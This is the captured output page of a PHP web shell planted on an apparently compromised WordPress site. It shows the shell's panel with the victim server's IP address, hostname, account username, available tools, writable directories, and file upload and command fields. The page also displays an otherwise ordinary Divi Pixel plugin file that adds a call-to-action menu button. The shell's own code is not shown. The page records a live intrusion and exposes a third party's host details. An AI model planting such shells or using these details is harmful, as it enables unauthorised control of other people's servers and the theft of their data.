403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/plugins/divi-pixel/public/partials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/plugins/divi-pixel/public/partials/cta-button-partial.php
<?php

add_filter('wp_nav_menu_items', 'dipi_nav_menu_items', 10, 2);

function dipi_nav_menu_items($items, $args) {
	$menu_btn_icon_display = DiviPixel\DIPI_Public::get_option('menu_btn_icon_display');
	$menu_btn_hover_effect = DiviPixel\DIPI_Public::get_option('menu_btn_hover_effect');

	$menu_button_text = get_option('dipi_menu_button_text');
	$url = get_option('dipi_menu_button_url');

	//FIXME: This option should rather be called something like "dipi_mobile_hide_cta_btn". On means currently hide cta on mobiles
	$hide_mobile_cta_class = get_option('dipi_mobile_cta_btn') == 'on' ? 'dipi-hide-cta-button-mobile' : '';

	if( $args->theme_location == 'primary-menu' ){
		$items .= sprintf(
			'<li class="menu-item dipi-cta-button-menu-item %1$s">
				<a href="%2$s" class="et_pb_button dipi-cta-button dipi-cta-button-icon-%3$s dipi-cta-button-effect-%4$s">
					<span>'.$menu_button_text.'</span>
				</a>
			</li>',
			$hide_mobile_cta_class,
			$url,
			$menu_btn_icon_display,
			$menu_btn_hover_effect
		);
	}

	return $items;

}


Youez - 2016 - github.com/yon3zu
LinuXploit